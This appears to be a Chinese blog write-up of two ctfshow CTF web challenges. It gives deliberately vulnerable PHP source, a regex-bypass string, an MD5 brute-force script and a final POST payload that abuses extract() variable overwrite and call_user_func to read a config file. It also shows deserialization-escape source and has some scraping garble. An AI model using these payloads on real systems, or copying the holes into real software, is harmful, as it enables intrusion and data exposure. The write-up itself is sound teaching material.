桐桑又開始摸魚了 ctfshow的比賽整的一手好活。djb杯。php
打開就是源碼:web
1 <?php 2 error_reporting(0); 3 highlight_file(__FILE__); 4 include("config.php"); 5 class qwq 6 { 7 function __wakeup(){ 8 die("Access Denied!"); 9 } 10 static function oao(){ 11 show_source("config.php"); 12 } 13 } 14 $str = file_get_contents("php://input"); 15 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ 16 die("I am sorry but you have to leave."); 17 }else{ 18 extract($_POST); 19 } 20 if(isset($shaw_root)){ 21 if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ 22 echo $hint; 23 }else{ 24 echo "Almost there."."<br>"; 25 } 26 }else{ 27 echo "<br>"."Input correct parameters"."<br>"; 28 die(); 29 } 30 if($ans===$SecretNumber){ 31 echo "<br>"."Congratulations!"."<br>"; 32 call_user_func($my_ans); 33 } 34 35 Input correct parameters
解析代碼,在第四行對咱們未知的文件config.php進行了包含,咱們要去讀取config.php就須要去觸發qaq這個類中的oao函數。因而咱們去嘗試觸發這個函數。而且咱們能夠看到在代碼第32行出現了究極危險函數call_user_func,這個函數能把後面的參數當成函數進行調用。參數能夠是系統函數,也能夠是已經定義過的函數。好比咱們將這裏的$my_ans參數值調爲phpinfo(此參數不能含有括號,因此沒法執行含有參數的函數),效果和phpinfo()效果是同樣的。函數
以前類中的oao函數就是咱們要進行調用的函數,因而能夠在此處將參數值設定爲qaq::oao就能成功讀到config.php。因而咱們此時的重點應該放在去控制$my_ans這個參數上面。在前面有一個考點是extract的參數變量覆蓋,具體考點百度,因而咱們能夠經過post參數值對已經存在的參數進行覆蓋。要觸發危險函數call_user_func須要讓$ans和$SecretNumber數值相等。如何相等咱們只能去得到22行中的$hint。
post
用接地氣的話來講要得到這個hint很簡單但也很操蛋。由於那個正則匹配看起來強的雅痞,但實際上稍微會一些正則匹配就不會被難倒。這裏掛一篇wh1sper的文章,講的很詳細足夠web手去掌握正則匹配(zmr yyds)http://wh1sper.com/%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/this
放出個人本地bypass吧,其實不能算bypass,由於繞過確實是很簡單加密
1 <?php 2 $str = '-a9<b>wdnmd>>>>kkkkabcphp@Rsd';//payload 3 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)) { 4 echo 'wdnmd'; 5 } 6 else{ 7 echo 'nice!!!'; 8 }
繞過以後會得到hint,內容是Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5spa
這個md5的值是對已知開頭和結尾的字符串的md5加密,看似很nb,實際上只須要去爆破中間的$SecretNumber,由於畢竟是五位數字,也就100000種狀況。爆破腳本以下code
1 #Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5 2 import hashlib 3 for i in range(1,99999): 4 a = str(i).zfill(5) 5 payload = 'shaw'+a+'root' 6 hl = hashlib.md5() 7 hl.update(payload.encode(encoding='utf-8')) 8 b = hl.hexdigest() 9 10 if b == '166b47a5cb1ca2431a0edfcef200684f': 11 print(a)
其中zfill()就是將不足五位數字的數在數字空缺位置上補零,生成由00000到99999全部的五位數字,爆出來結果是21475blog
而後post傳值覆蓋$ans就能成功觸發危險函數。而且繞過了黑名單(由於思路正確,和出題人徹底一致,經過考點),最終payload:ip
shaw root=-a9<b>wdnmd>>>>kkkkabcphp@Rsd&ans=21475&my ans=qwq::oao
哦對了還有一個考點:傳入參數前shaw_root中間有_過不了正則的限制,這裏利用了一個特性,在傳入一些非法字符的時候php會把它解析爲下劃線_,有空格和[和+
這題。。。出的翻車了,原本打算靠反序列化字符串逃逸的,結果用空格繞過_的conter就能直接對$user_name和$pass_word進行賦值。自己的反序列化字符串逃逸也不是很難。給個源碼吧:
1 <?php 2 error_reporting(0); 3 highlight_file(__FILE__); 4 class spaceman 5 { 6 public $username; 7 public $password; 8 public function __construct($username,$password) 9 { 10 $this->username = $username; 11 $this->password = $password; 12 } 13 public function __wakeup() 14 { 15 if($this->password==='ctfshowvip') 16 { 17 include("flag.php"); 18 echo $flag; 19 } 20 else 21 { 22 echo 'wrong password'; 23 } 24 } 25 } 26 function filter($string){ 27 return str_replace('ctfshowup','ctfshow',$string); 28 } 29 $str = file_get_contents("php://input"); 30 if(preg_match('/\_|\.|\]|\[/is',$str)){ 31 die("I am sorry but you have to leave."); 32 }else{ 33 extract($_POST); 34 } 35 $ser = filter(serialize(new spaceman($user_name,$pass_word))); 36 $test = unserialize($ser); 37 ?>
這兩個會在明天的phar反序列化合集中出現。即當你看到這句話的下一天。